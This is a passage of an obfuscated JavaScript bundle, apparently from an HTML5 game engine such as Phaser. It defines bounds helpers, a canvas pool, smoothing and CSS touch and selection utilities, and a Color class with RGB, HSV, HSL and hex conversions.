}; }, 0x15587: _0x486114 => { _0x486114['exports'] = function (_0x1acda4) { return _0x1acda4['width'] * _0x1acda4['originX']; }; }, 0xb750: _0x4c138a => { _0x4c138a['exports'] = function (_0xfd9e99) { return _0xfd9e99['height'] * _0xfd9e99['originY']; }; }, 0xd46c: _0x54a346 => { _0x54a346['exports'] = function (_0x57f135) { return _0x57f135['x'] + _0x57f135['width'] - _0x57f135['width'] * _0x57f135['originX']; }; }, 0x4535: _0x58ad4c => { _0x58ad4c['exports'] = function (_0x572896) { return _0x572896['y'] - _0x572896['height'] * _0x572896['originY']; }; }, 0x15137: _0x2b6578 => { _0x2b6578['exports'] = function (_0x95a198, _0xd42e96) { return _0x95a198['y'] = _0xd42e96 - _0x95a198['height'] + _0x95a198['height'] * _0x95a198['originY'], _0x95a198; }; }, 0x15961: _0x5adfed => { _0x5adfed['exports'] = function (_0x18c0c7, _0x199bfe) { var _0x23e4b6 = _0x18c0c7['width'] * _0x18c0c7['originX']; return _0x18c0c7['x'] = _0x199bfe + _0x23e4b6 - 0.5 * _0x18c0c7['width'], _0x18c0c7; }; }, 0x5132: _0x398092 => { _0x398092['exports'] = function (_0x2d2117, _0x5182f2) { var _0x2b749c = _0x2d2117['height'] * _0x2d2117['originY']; return _0x2d2117['y'] = _0x5182f2 + _0x2b749c - 0.5 * _0x2d2117['height'], _0x2d2117; }; }, 0x181: _0x3acdb1 => { _0x3acdb1['exports'] = function (_0x4b0d62, _0x3d03e0) { return _0x4b0d62['x'] = _0x3d03e0 + _0x4b0d62['width'] * _0x4b0d62['originX'], _0x4b0d62; }; }, 0x9cc8: _0x392acf => { _0x392acf['exports'] = function (_0x5409ef, _0x230b8d) { return _0x5409ef['x'] = _0x230b8d - _0x5409ef['width'] + _0x5409ef['width'] * _0x5409ef['originX'], _0x5409ef; }; }, 0x104b1: _0x20fd88 => { _0x20fd88['exports'] = function (_0x18078d, _0x3ea5c6) { return _0x18078d['y'] = _0x3ea5c6 + _0x18078d['height'] * _0x18078d['originY'], _0x18078d; }; }, 0xe564: (_0x39be51, _0x4b4cf5, _0x41eda3) => { _0x39be51['exports'] = { 'CenterOn': _0x41eda3(0x104e2), 'GetBottom': _0x41eda3(0xf31b), 'GetBounds': _0x41eda3(0x11ca9), 'GetCenterX': _0x41eda3(0x8c35), 'GetCenterY': _0x41eda3(0x1e16), 'GetLeft': _0x41eda3(0x67ad), 'GetOffsetX': _0x41eda3(0x15587), 'GetOffsetY': _0x41eda3(0xb750), 'GetRight': _0x41eda3(0xd46c), 'GetTop': _0x41eda3(0x4535), 'SetBottom': _0x41eda3(0x15137), 'SetCenterX': _0x41eda3(0x15961), 'SetCenterY': _0x41eda3(0x5132), 'SetLeft': _0x41eda3(0x181), 'SetRight': _0x41eda3(0x9cc8), 'SetTop': _0x41eda3(0x104b1) }; }, 0x508f: _0x39c84c => { _0x39c84c['exports'] = { 'setCrisp': function (_0x5982cc) { return ['optimizeSpeed', '-moz-crisp-edges', '-o-crisp-edges', '-webkit-optimize-contrast', 'optimize-contrast', 'crisp-edges', 'pixelated']['forEach'](function (_0x50c985) { _0x5982cc['style']['image-rendering'] = _0x50c985; }), _0x5982cc['style']['msInterpolationMode'] = 'nearest-neighbor', _0x5982cc; }, 'setBicubic': function (_0x431205) { return _0x431205['style']['image-rendering'] = 'auto', _0x431205['style']['msInterpolationMode'] = 'bicubic', _0x431205; } }; }, 0x6d0f: (_0x319809, _0x1e2a13, _0x44db28) => { var _0x4d2241, _0x95250d, _0x387c48, _0x2e0e4e = _0x44db28(0x1f76), _0x7d0baa = _0x44db28(0x10c5f), _0x3f5a32 = [], _0x49c045 = !0x1; _0x319809['exports'] = (_0x387c48 = function () { var _0x19036 = 0x0; return _0x3f5a32['forEach'](function (_0x486901) { _0x486901['parent'] && _0x19036++; }), _0x19036; }, { 'create2D': function (_0x5c1970, _0xf7f1e9, _0x2fb9a0) { return _0x4d2241(_0x5c1970, _0xf7f1e9, _0x2fb9a0, _0x2e0e4e['CANVAS']); }, 'create': _0x4d2241 = function (_0x42518a, _0x155fae, _0x36054f, _0x35a0b1, _0x1f5ad4) { var _0x3d57d9; void 0x0 === _0x155fae && (_0x155fae = 0x1), void 0x0 === _0x36054f && (_0x36054f = 0x1), void 0x0 === _0x35a0b1 && (_0x35a0b1 = _0x2e0e4e['CANVAS']), void 0x0 === _0x1f5ad4 && (_0x1f5ad4 = !0x1); var _0x2a3d87 = _0x95250d(_0x35a0b1); return null === _0x2a3d87 ? (_0x2a3d87 = { 'parent': _0x42518a, 'canvas': document['createElement']('canvas'), 'type': _0x35a0b1 }, _0x35a0b1 === _0x2e0e4e['CANVAS'] && _0x3f5a32['push'](_0x2a3d87), _0x3d57d9 = _0x2a3d87['canvas']) : (_0x2a3d87['parent'] = _0x42518a, _0x3d57d9 = _0x2a3d87['canvas']), _0x1f5ad4 && (_0x2a3d87['parent'] = _0x3d57d9), _0x3d57d9['width'] = _0x155fae, _0x3d57d9['height'] = _0x36054f, _0x49c045 && _0x35a0b1 === _0x2e0e4e['CANVAS'] && _0x7d0baa['disable'](_0x3d57d9['getContext']('2d', { 'willReadFrequently': !0x1 })), _0x3d57d9; }, 'createWebGL': function (_0x3f4ea8, _0x1a0e38, _0x11a31d) { return _0x4d2241(_0x3f4ea8, _0x1a0e38, _0x11a31d, _0x2e0e4e['WEBGL']); }, 'disableSmoothing': function () { _0x49c045 = !0x0; }, 'enableSmoothing': function () { _0x49c045 = !0x1; }, 'first': _0x95250d = function (_0x2e711f) { if (void 0x0 === _0x2e711f && (_0x2e711f = _0x2e0e4e['CANVAS']), _0x2e711f === _0x2e0e4e['WEBGL']) return null; for (var _0x24559d = 0x0; _0x24559d < _0x3f5a32['length']; _0x24559d++) { var _0x5e0129 = _0x3f5a32[_0x24559d]; if (!_0x5e0129['parent'] && _0x5e0129['type'] === _0x2e711f) return _0x5e0129; } return null; }, 'free': function () { return _0x3f5a32['length'] - _0x387c48(); }, 'pool': _0x3f5a32, 'remove': function (_0x260489) { var _0x36d72c = _0x260489 instanceof HTMLCanvasElement; _0x3f5a32['forEach'](function (_0x239a49) { (_0x36d72c && _0x239a49['canvas'] === _0x260489 || !_0x36d72c && _0x239a49['parent'] === _0x260489) && (_0x239a49['parent'] = null, _0x239a49['canvas']['width'] = 0x1, _0x239a49['canvas']['height'] = 0x1); }); }, 'total': _0x387c48 }); }, 0x10c5f: _0x4e2302 => { var _0x2e45e2, _0x58b0ea = ''; _0x4e2302['exports'] = { 'disable': function (_0x431a9b) { return '' === _0x58b0ea && (_0x58b0ea = _0x2e45e2(_0x431a9b)), _0x58b0ea && (_0x431a9b[_0x58b0ea] = !0x1), _0x431a9b; }, 'enable': function (_0x51eb8f) { return '' === _0x58b0ea && (_0x58b0ea = _0x2e45e2(_0x51eb8f)), _0x58b0ea && (_0x51eb8f[_0x58b0ea] = !0x0), _0x51eb8f; }, 'getPrefix': _0x2e45e2 = function (_0x5d3916) { for (var _0x2884ae = ['i', 'webkitI', 'msI', 'mozI', 'oI'], _0x508bf4 = 0x0; _0x508bf4 < _0x2884ae['length']; _0x508bf4++) { var _0x11e286 = _0x2884ae[_0x508bf4] + 'mageSmoothingEnabled'; if (_0x11e286 in _0x5d3916) return _0x11e286; } return null; }, 'isEnabled': function (_0x43e4b9) { return null !== _0x58b0ea ? _0x43e4b9[_0x58b0ea] : null; } }; }, 0xfeb8: _0x2e32d7 => { _0x2e32d7['exports'] = function (_0x1def70, _0xc4de8f) { return void 0x0 === _0xc4de8f && (_0xc4de8f = 'none'), _0x1def70['style']['msTouchAction'] = _0xc4de8f, _0x1def70['style']['ms-touch-action'] = _0xc4de8f, _0x1def70['style']['touch-action'] = _0xc4de8f, _0x1def70; }; }, 0x165da: _0x1661d1 => { _0x1661d1['exports'] = function (_0x4bacbb, _0x58bb90) { return void 0x0 === _0x58bb90 && (_0x58bb90 = 'none'), ['-webkit-', '-khtml-', '-moz-', '-ms-', '']['forEach'](function (_0x37d301) { _0x4bacbb['style'][_0x37d301 + 'user-select'] = _0x58bb90; }), _0x4bacbb['style']['-webkit-touch-callout'] = _0x58bb90, _0x4bacbb['style']['-webkit-tap-highlight-color'] = 'rgba(0,\x200,\x200,\x200)', _0x4bacbb; }; }, 0x668d: (_0x3004dd, _0x599db8, _0x591f27) => { _0x3004dd['exports'] = { 'CanvasInterpolation': _0x591f27(0x508f), 'CanvasPool': _0x591f27(0x6d0f), 'Smoothing': _0x591f27(0x10c5f), 'TouchAction': _0x591f27(0xfeb8), 'UserSelect': _0x591f27(0x165da) }; }, 0xa01b: (_0x3fd632, _0x2a2002, _0xbe0606) => { var _0x38c5cb = _0xbe0606(0x145db), _0x61acb7 = _0xbe0606(0x92d5), _0x2f3295 = _0xbe0606(0x3e8), _0x3e9d79 = _0xbe0606(0x1d71), _0x399e97 = _0xbe0606(0x1571d), _0x521c72 = new _0x38c5cb({ 'initialize': function (_0xb5d74a, _0x1dcc98, _0x450270, _0x54d69b) { void 0x0 === _0xb5d74a && (_0xb5d74a = 0x0), void 0x0 === _0x1dcc98 && (_0x1dcc98 = 0x0), void 0x0 === _0x450270 && (_0x450270 = 0x0), void 0x0 === _0x54d69b && (_0x54d69b = 0xff), this['r'] = 0x0, this['g'] = 0x0, this['b'] = 0x0, this['a'] = 0xff, this['_h'] = 0x0, this['_s'] = 0x0, this['_v'] = 0x0, this['_locked'] = !0x1, this['gl'] = [0x0, 0x0, 0x0, 0x1], this['_color'] = 0x0, this['_color32'] = 0x0, this['_rgba'] = '', this['setTo'](_0xb5d74a, _0x1dcc98, _0x450270, _0x54d69b); }, 'transparent': function () { return this['_locked'] = !0x0, this['red'] = 0x0, this['green'] = 0x0, this['blue'] = 0x0, this['alpha'] = 0x0, this['_locked'] = !0x1, this['update'](!0x0); }, 'setTo': function (_0x443c99, _0x1dd1fb, _0x35bee0, _0xfdd6a, _0x14a8f4) { return void 0x0 === _0xfdd6a && (_0xfdd6a = 0xff), void 0x0 === _0x14a8f4 && (_0x14a8f4 = !0x0), this['_locked'] = !0x0, this['red'] = _0x443c99, this['green'] = _0x1dd1fb, this['blue'] = _0x35bee0, this['alpha'] = _0xfdd6a, this['_locked'] = !0x1, this['update'](_0x14a8f4); }, 'setGLTo': function (_0x1a1271, _0x163601, _0xf60702, _0xa16b08) { return void 0x0 === _0xa16b08 && (_0xa16b08 = 0x1), this['_locked'] = !0x0, this['redGL'] = _0x1a1271, this['greenGL'] = _0x163601, this['blueGL'] = _0xf60702, this['alphaGL'] = _0xa16b08, this['_locked'] = !0x1, this['update'](!0x0); }, 'setFromRGB': function (_0x3708ba) { return this['_locked'] = !0x0, this['red'] = _0x3708ba['r'], this['green'] = _0x3708ba['g'], this['blue'] = _0x3708ba['b'], _0x3708ba['hasOwnProperty']('a') && (this['alpha'] = _0x3708ba['a']), this['_locked'] = !0x1, this['update'](!0x0); }, 'setFromHSV': function (_0x558562, _0x3d0c01, _0x2b585f) { return _0x3e9d79(_0x558562, _0x3d0c01, _0x2b585f, this); }, 'update': function (_0x3b0ca1) { if (void 0x0 === _0x3b0ca1 && (_0x3b0ca1 = !0x1), this['_locked']) return this; var _0x40a59c = this['r'], _0x3bd2e8 = this['g'], _0x558803 = this['b'], _0x1411e0 = this['a']; return this['_color'] = _0x61acb7(_0x40a59c, _0x3bd2e8, _0x558803), this['_color32'] = _0x2f3295(_0x40a59c, _0x3bd2e8, _0x558803, _0x1411e0), this['_rgba'] = 'rgba(' + _0x40a59c + ',' + _0x3bd2e8 + ',' + _0x558803 + ',' + _0x1411e0 / 0xff + ')', _0x3b0ca1 && _0x399e97(_0x40a59c, _0x3bd2e8, _0x558803, this), this; }, 'updateHSV': function () { var _0x57982a = this['r'], _0x28e773 = this['g'], _0x575c91 = this['b']; return _0x399e97(_0x57982a, _0x28e773, _0x575c91, this), this; }, 'clone': function () { return new _0x521c72(this['r'], this['g'], this['b'], this['a']); }, 'gray': function (_0x2955d1) { return this['setTo'](_0x2955d1, _0x2955d1, _0x2955d1); }, 'random': function (_0xba5276, _0x446d90) { void 0x0 === _0xba5276 && (_0xba5276 = 0x0), void 0x0 === _0x446d90 && (_0x446d90 = 0xff); var _0x31d797 = Math['floor'](_0xba5276 + Math['random']() * (_0x446d90 - _0xba5276)), _0x272f41 = Math['floor'](_0xba5276 + Math['random']() * (_0x446d90 - _0xba5276)), _0x1d30ed = Math['floor'](_0xba5276 + Math['random']() * (_0x446d90 - _0xba5276)); return this['setTo'](_0x31d797, _0x272f41, _0x1d30ed); }, 'randomGray': function (_0x345311, _0xdd9ea6) { void 0x0 === _0x345311 && (_0x345311 = 0x0), void 0x0 === _0xdd9ea6 && (_0xdd9ea6 = 0xff); var _0x425e31 = Math['floor'](_0x345311 + Math['random']() * (_0xdd9ea6 - _0x345311)); return this['setTo'](_0x425e31, _0x425e31, _0x425e31); }, 'saturate': function (_0x555110) { return this['s'] += _0x555110 / 0x64, this; }, 'desaturate': function (_0x484dc8) { return this['s'] -= _0x484dc8 / 0x64, this; }, 'lighten': function (_0x4d9df1) { return this['v'] += _0x4d9df1 / 0x64, this; }, 'darken': function (_0x42a444) { return this['v'] -= _0x42a444 / 0x64, this; }, 'brighten': function (_0x8790e6) { var _0x10e9cd = this['r'], _0x4f4e31 = this['g'], _0x9c4210 = this['b']; return _0x10e9cd = Math['max'](0x0, Math['min'](0xff, _0x10e9cd - Math['round'](-_0x8790e6 / 0x64 * 0xff))), _0x4f4e31 = Math['max'](0x0, Math['min'](0xff, _0x4f4e31 - Math['round'](-_0x8790e6 / 0x64 * 0xff))), _0x9c4210 = Math['max'](0x0, Math['min'](0xff, _0x9c4210 - Math['round'](-_0x8790e6 / 0x64 * 0xff))), this['setTo'](_0x10e9cd, _0x4f4e31, _0x9c4210); }, 'color': { 'get': function () { return this['_color']; } }, 'color32': { 'get': function () { return this['_color32']; } }, 'rgba': { 'get': function () { return this['_rgba']; } }, 'redGL': { 'get': function () { return this['gl'][0x0]; }, 'set': function (_0x5cf8f7) { this['gl'][0x0] = Math['min'](Math['abs'](_0x5cf8f7), 0x1), this['r'] = Math['floor'](0xff * this['gl'][0x0]), this['update'](!0x0); } }, 'greenGL': { 'get': function () { return this['gl'][0x1]; }, 'set': function (_0x206b87) { this['gl'][0x1] = Math['min'](Math['abs'](_0x206b87), 0x1), this['g'] = Math['floor'](0xff * this['gl'][0x1]), this['update'](!0x0); } }, 'blueGL': { 'get': function () { return this['gl'][0x2]; }, 'set': function (_0x57e051) { this['gl'][0x2] = Math['min'](Math['abs'](_0x57e051), 0x1), this['b'] = Math['floor'](0xff * this['gl'][0x2]), this['update'](!0x0); } }, 'alphaGL': { 'get': function () { return this['gl'][0x3]; }, 'set': function (_0x19ed88) { this['gl'][0x3] = Math['min'](Math['abs'](_0x19ed88), 0x1), this['a'] = Math['floor'](0xff * this['gl'][0x3]), this['update'](); } }, 'red': { 'get': function () { return this['r']; }, 'set': function (_0x24b281) { _0x24b281 = Math['floor'](Math['abs'](_0x24b281)), this['r'] = Math['min'](_0x24b281, 0xff), this['gl'][0x0] = _0x24b281 / 0xff, this['update'](!0x0); } }, 'green': { 'get': function () { return this['g']; }, 'set': function (_0x565054) { _0x565054 = Math['floor'](Math['abs'](_0x565054)), this['g'] = Math['min'](_0x565054, 0xff), this['gl'][0x1] = _0x565054 / 0xff, this['update'](!0x0); } }, 'blue': { 'get': function () { return this['b']; }, 'set': function (_0x583504) { _0x583504 = Math['floor'](Math['abs'](_0x583504)), this['b'] = Math['min'](_0x583504, 0xff), this['gl'][0x2] = _0x583504 / 0xff, this['update'](!0x0); } }, 'alpha': { 'get': function () { return this['a']; }, 'set': function (_0x5e4504) { _0x5e4504 = Math['floor'](Math['abs'](_0x5e4504)), this['a'] = Math['min'](_0x5e4504, 0xff), this['gl'][0x3] = _0x5e4504 / 0xff, this['update'](); } }, 'h': { 'get': function () { return this['_h']; }, 'set': function (_0x5cf3f0) { this['_h'] = _0x5cf3f0, _0x3e9d79(_0x5cf3f0, this['_s'], this['_v'], this); } }, 's': { 'get': function () { return this['_s']; }, 'set': function (_0x2fcfd1) { this['_s'] = _0x2fcfd1, _0x3e9d79(this['_h'], _0x2fcfd1, this['_v'], this); } }, 'v': { 'get': function () { return this['_v']; }, 'set': function (_0x38f730) { this['_v'] = _0x38f730, _0x3e9d79(this['_h'], this['_s'], _0x38f730, this); } } }); _0x3fd632['exports'] = _0x521c72; }, 0x16a38: (_0x28623e, _0x3f0942, _0x4b062d) => { var _0x50ed54 = _0x4b062d(0x92d5); _0x28623e['exports'] = function (_0x4e6e0d) { void 0x0 === _0x4e6e0d && (_0x4e6e0d = 0x400); var _0x5c7c4a, _0x228174 = [], _0x25410d = 0xff, _0x675fcc = 0xff, _0x49cab6 = 0x0, _0x5ae052 = 0x0; for (_0x5c7c4a = 0x0; _0x5c7c4a <= _0x25410d; _0x5c7c4a++)_0x228174['push']({ 'r': _0x675fcc, 'g': _0x5c7c4a, 'b': _0x5ae052, 'color': _0x50ed54(_0x675fcc, _0x5c7c4a, _0x5ae052) }); for (_0x49cab6 = 0xff, _0x5c7c4a = _0x25410d; _0x5c7c4a >= 0x0; _0x5c7c4a--)_0x228174['push']({ 'r': _0x5c7c4a, 'g': _0x49cab6, 'b': _0x5ae052, 'color': _0x50ed54(_0x5c7c4a, _0x49cab6, _0x5ae052) }); for (_0x675fcc = 0x0, _0x5c7c4a = 0x0; _0x5c7c4a <= _0x25410d; _0x5c7c4a++, _0x49cab6--)_0x228174['push']({ 'r': _0x675fcc, 'g': _0x49cab6, 'b': _0x5c7c4a, 'color': _0x50ed54(_0x675fcc, _0x49cab6, _0x5c7c4a) }); for (_0x49cab6 = 0x0, _0x5ae052 = 0xff, _0x5c7c4a = 0x0; _0x5c7c4a <= _0x25410d; _0x5c7c4a++, _0x5ae052--, _0x675fcc++)_0x228174['push']({ 'r': _0x675fcc, 'g': _0x49cab6, 'b': _0x5ae052, 'color': _0x50ed54(_0x675fcc, _0x49cab6, _0x5ae052) }); if (0x400 === _0x4e6e0d) return _0x228174; var _0x32d4ee = [], _0x24453b = 0x0, _0x29173f = 0x400 / _0x4e6e0d; for (_0x5c7c4a = 0x0; _0x5c7c4a < _0x4e6e0d; _0x5c7c4a++)_0x32d4ee['push'](_0x228174[Math['floor'](_0x24453b)]), _0x24453b += _0x29173f; return _0x32d4ee; }; }, 0x165c4: _0x26ff94 => { _0x26ff94['exports'] = function (_0x33a954) { var _0x5ef057 = { 'r': _0x33a954 >> 0x10 & 0xff, 'g': _0x33a954 >> 0x8 & 0xff, 'b': 0xff & _0x33a954, 'a': 0xff }; return _0x33a954 > 0xffffff && (_0x5ef057['a'] = _0x33a954 >>> 0x18), _0x5ef057; }; }, 0xf5ed: _0x58b3a8 => { _0x58b3a8['exports'] = function (_0x4b10f1) { var _0xda34a0 = _0x4b10f1['toString'](0x10); return 0x1 === _0xda34a0['length'] ? '0' + _0xda34a0 : _0xda34a0; }; }, 0x92d5: _0x38af96 => { _0x38af96['exports'] = function (_0x15fcc7, _0x113375, _0x5e28cf) { return _0x15fcc7 << 0x10 | _0x113375 << 0x8 | _0x5e28cf; }; }, 0x3e8: _0x59be88 => { _0x59be88['exports'] = function (_0x5ea199, _0x161fb7, _0x2a91dd, _0x2edae9) { return _0x2edae9 << 0x18 | _0x5ea199 << 0x10 | _0x161fb7 << 0x8 | _0x2a91dd; }; }, 0xf2e7: (_0x49b740, _0x4d5b2b, _0x1e9df5) => { var _0x91a721 = _0x1e9df5(0xa01b), _0x5f11ba = _0x1e9df5(0x15db8); _0x49b740['exports'] = function (_0x1449df, _0x5df9fb, _0x738661) { var _0x2f32c1 = _0x738661, _0xf8b23e = _0x738661, _0x489ed6 = _0x738661; if (0x0 !== _0x5df9fb) { var _0x1c725c = _0x738661 < 0.5 ? _0x738661 * (0x1 + _0x5df9fb) : _0x738661 + _0x5df9fb - _0x738661 * _0x5df9fb, _0x574237 = 0x2 * _0x738661 - _0x1c725c; _0x2f32c1 = _0x5f11ba(_0x574237, _0x1c725c, _0x1449df + 0x1 / 0x3), _0xf8b23e = _0x5f11ba(_0x574237, _0x1c725c, _0x1449df), _0x489ed6 = _0x5f11ba(_0x574237, _0x1c725c, _0x1449df - 0x1 / 0x3); } return new _0x91a721()['setGLTo'](_0x2f32c1, _0xf8b23e, _0x489ed6, 0x1); }; }, 0x6d23: (_0x2a9e66, _0x32e346, _0x330b96) => { var _0x3eafb1 = _0x330b96(0x1d71); _0x2a9e66['exports'] = function (_0x4b8982, _0x34b005) { void 0x0 === _0x4b8982 && (_0x4b8982 = 0x1), void 0x0 === _0x34b005 && (_0x34b005 = 0x1); for (var _0x568f9e = [], _0x903ef = 0x0; _0x903ef <= 0x167; _0x903ef++)_0x568f9e['push'](_0x3eafb1(_0x903ef / 0x167, _0x4b8982, _0x34b005)); return _0x568f9e; }; }, 0x1d71: (_0x5ee3a7, _0x48fcf0, _0x541e78) => { var _0x341f8e = _0x541e78(0x92d5); function _0x5d0d0f(_0x55552b, _0x2bfdbd, _0x2f4aaf, _0x15145f) { var _0x2bc5f7 = (_0x55552b + 0x6 * _0x2bfdbd) % 0x6, _0x52cb56 = Math['min'](_0x2bc5f7, 0x4 - _0x2bc5f7, 0x1); return Math['round'](0xff * (_0x15145f - _0x15145f * _0x2f4aaf * Math['max'](0x0, _0x52cb56))); } _0x5ee3a7['exports'] = function (_0x5bf1d8, _0xb57903, _0x2494e4, _0xf365b5) { void 0x0 === _0xb57903 && (_0xb57903 = 0x1), void 0x0 === _0x2494e4 && (_0x2494e4 = 0x1); var _0x2e9557 = _0x5d0d0f(0x5, _0x5bf1d8, _0xb57903, _0x2494e4), _0x21c92f = _0x5d0d0f(0x3, _0x5bf1d8, _0xb57903, _0x2494e4), _0x5cc13a = _0x5d0d0f(0x1, _0x5bf1d8, _0xb57903, _0x2494e4); return _0xf365b5 ? _0xf365b5['setTo'] ? _0xf365b5['setTo'](_0x2e9557, _0x21c92f, _0x5cc13a, _0xf365b5['alpha'], !0x0) : (_0xf365b5['r'] = _0x2e9557, _0xf365b5['g'] = _0x21c92f, _0xf365b5['b'] = _0x5cc13a, _0xf365b5['color'] = _0x341f8e(_0x2e9557, _0x21c92f, _0x5cc13a), _0xf365b5) : { 'r': _0x2e9557, 'g': _0x21c92f, 'b': _0x5cc13a, 'color': _0x341f8e(_0x2e9557, _0x21c92f, _0x5cc13a) }; }; }, 0x1125e: (_0x480c88, _0x185cca, _0x349cfd) => { var _0x194303 = _0x349cfd(0xa01b); _0x480c88['exports'] = function (_0x42d606) { var _0x1cb330 = new _0x194303(); _0x42d606 = _0x42d606['replace'](/^(?:#|0x)?([a-f\d])([a-f\d])([a-f\d])$/i, function (_0x100287, _0x17c0e9, _0x205e02, _0x118405) { return _0x17c0e9 + _0x17c0e9 + _0x205e02 + _0x205e02 + _0x118405 + _0x118405; }); var _0x31b370 = /^(?:#|0x)?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i['exec'](_0x42d606); if (_0x31b370) { var _0x4e005d = parseInt(_0x31b370[0x1], 0x10), _0x41c37d = parseInt(_0x31b370[0x2], 0x10), _0xf39f86 = parseInt(_0x31b370[0x3], 0x10); _0x1cb330['setTo'](_0x4e005d, _0x41c37d, _0xf39f86); } return _0x1cb330; }; }, 0x15db8: _0x379637 => { _0x379637['exports'] = function (_0x1da866, _0x5e3843, _0x41e725) { return _0x41e725 < 0x0 && (_0x41e725 += 0x1), _0x41e725 > 0x1 && (_0x41e725 -= 0x1), _0x41e725 < 0x1 / 0x6 ? _0x1da866 + 0x6 * (_0x5e3843 - _0x1da866) * _0x41e725 : _0x41e725 < 0.5 ? _0x5e3843 : _0x41e725 < 0x2 / 0x3 ? _0x1da866 + (_0x5e3843 - _0x1da866) * (0x2 / 0x3 - _0x41e725) * 0x6 : _0x1da866; }; }, 0x7594: (_0x223bef, _0x1cbc13, _0x137203) => { var _0x3adcff = _0x137203(0xa01b), _0x30a557 = _0x137203(0x16228); _0x223bef['exports'] = function (_0x22dfcd) { var _0x12fdbe = _0x30a557(_0x22dfcd); return new _0x3adcff(_0x12fdbe['r'], _0x12fdbe['g'], _0x12fdbe['b'], _0x12fdbe['a']); }; }, 0x16228: _0x304c9f => { _0x304c9f['exports'] = function (_0x18268e) { return _0x18268e > 0xffffff ? { 'a': _0x18268e >>> 0x18, 'r': _0x18268e >> 0x10 & 0xff, 'g': _0x18268e >> 0x8 & 0xff, 'b': 0xff & _0x18268e } : { 'a': 0xff, 'r': _0x18268e >> 0x10 & 0xff, 'g': _0x18268e >> 0x8 & 0xff, 'b': 0xff & _0x18268e }; }; }, 0x3583: (_0x6deb97, _0xc6e5f1, _0x46768b) => { var _0x467315 = _0x46768b(0x70f3), _0x4393ce = function (_0x562460, _0x119cbe, _0x37cfdd, _0x14e024, _0x2c7c0d, _0x10f550, _0x21d5e2, _0x2e0868) { void 0x0 === _0x21d5e2 && (_0x21d5e2 = 0x64), void 0x0 === _0x2e0868 && (_0x2e0868 = 0x0); var _0x4ed2b2 = _0x2e0868 / _0x21d5e2; return { 'r': _0x467315(_0x562460, _0x14e024, _0x4ed2b2), 'g': _0x467315(_0x119cbe, _0x2c7c0d, _0x4ed2b2), 'b': _0x467315(_0x37cfdd, _0x10f550, _0x4ed2b2) }; }; _0x6deb97['exports'] = { 'RGBWithRGB': _0x4393ce, 'ColorWithRGB': function (_0x1906e3, _0x47513d, _0x426e69, _0x42675e, _0x558bc3, _0x2c1f22) { return void 0x0 === _0x558bc3 && (_0x558bc3 = 0x64), void 0x0 === _0x2c1f22 && (_0x2c1f22 = 0x0), _0x4393ce(_0x1906e3['r'], _0x1906e3['g'], _0x1906e3['b'], _0x47513d, _0x426e69, _0x42675e, _0x558bc3, _0x2c1f22); }, 'ColorWithColor': function (_0x5f07d2, _0x1ead6a, _0x444bca, _0x53bd42) { return void 0x0 === _0x444bca && (_0x444bca = 0x64), void 0x0 === _0x53bd42 && (_0x53bd42 = 0x0), _0x4393ce(_0x5f07d2['r'], _0x5f07d2['g'], _0x5f07d2['b'], _0x1ead6a['r'], _0x1ead6a['g'], _0x1ead6a['b'], _0x444bca, _0x53bd42); } }; }, 0x10d5d: (_0x2689ed, _0x53e1f1, _0x69ce6d) => { var _0x5be57c = _0x69ce6d(0xa01b); _0x2689ed['exports'] = function (_0x354a62) { return new _0x5be57c(_0x354a62['r'], _0x354a62['g'], _0x354a62['b'], _0x354a62['a']); }; }, 0x1555c: (_0x133f18, _0x33c047, _0x1fd269) => { var _0x26000b = _0x1fd269(0xa01b); _0x133f18['exports'] = function (_0x59aa6f) { var _0x3ea767 = new _0x26000b(), _0x1e0b67 = /^rgba?\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*(?:,\s*(\d+(?:\.\d+)?))?\s*\)$/['exec'](_0x59aa6f['toLowerCase']()); if (_0x1e0b67) { var _0x3feb1b = parseInt(_0x1e0b67[0x1], 0xa), _0x356c8b = parseInt(_0x1e0b67[0x2], 0xa), _0x38722d = parseInt(_0x1e0b67[0x3], 0xa), _0x19837d = void 0x0 !== _0x1e0b67[0x4] ? parseFloat(_0x1e0b67[0x4]) : 0x1; _0x3ea767['setTo'](_0x3feb1b, _0x356c8b, _0x38722d, 0xff * _0x19837d); } return _0x3ea767; }; }, 0x1571d: _0x1c76d9 => { _0x1c76d9['exports'] = function (_0x3c2a81, _0x582941, _0x4506b0, _0x51404f) { void 0x0 === _0x51404f && (_0x51404f = { 'h': 0x0, 's': 0x0, 'v': 0x0 }), _0x3c2a81 /= 0xff, _0x582941 /= 0xff, _0x4506b0 /= 0xff; var _0x8084d5 = Math['min'](_0x3c2a81, _0x582941, _0x4506b0), _0x57cfcd = Math['max'](_0x3c2a81, _0x582941, _0x4506b0), _0x3b2049 = _0x57cfcd - _0x8084d5, _0x219b19 = 0x0, _0x4edc97 = 0x0 === _0x57cfcd ? 0x0 : _0x3b2049 / _0x57cfcd, _0x26b96d = _0x57cfcd; return _0x57cfcd !== _0x8084d5 && (_0x57cfcd === _0x3c2a81 ? _0x219b19 = (_0x582941 - _0x4506b0) / _0x3b2049 + (_0x582941 < _0x4506b0 ? 0x6 : 0x0) : _0x57cfcd === _0x582941 ? _0x219b19 = (_0x4506b0 - _0x3c2a81) / _0x3b2049 + 0x2 : _0x57cfcd === _0x4506b0 && (_0x219b19 = (_0x3c2a81 - _0x582941) / _0x3b2049 + 0x4), _0x219b19 /= 0x6), _0x51404f['hasOwnProperty']('_h') ? (_0x51404f['_h'] = _0x219b19, _0x51404f['_s'] = _0x4edc97, _0x51404f['_v'] = _0x26b96d) : (_0x51404f['h'] = _0x219b19, _0x51404f['s'] = _0x4edc97, _0x51404f['v'] = _0x26b96d), _0x51404f; }; }, 0x127cb: (_0x1d278a, _0xb0e032, _0x453f7a) => { var _0x420e85 = _0x453f7a(0xf5ed); _0x1d278a['exports'] = function (_0x5e0c41, _0x2816a0, _0x4afbda, _0x18622f, _0x567e2e) { return void 0x0 === _0x18622f && (_0x18622f = 0xff), void 0x0 === _0x567e2e && (_0x567e2e = '#'), '#' === _0x567e2e ? '#' + ((0x1 << 0x18) + (_0x5e0c41 << 0x10) + (_0x2816a0 << 0x8) + _0x4afbda)['toString'](0x10)['slice'](0x1, 0x7) : '0x' + _0x420e85(_0x18622f) + _0x420e85(_0x5e0c41) + _0x420e85(_0x2816a0) + _0x420e85(_0x4afbda); }; }, 0x14d8a: (_0x134381, _0x161393, _0x46e9d8) => { var _0xff8c65 = _0x46e9d8(0x7900), _0x2451e6 = _0x46e9d8(0xa01b); _0x134381['exports'] = function (_0x18fb53, _0xead79e) { return void 0x0 === _0x18fb53 && (_0x18fb53 = 0x0), void 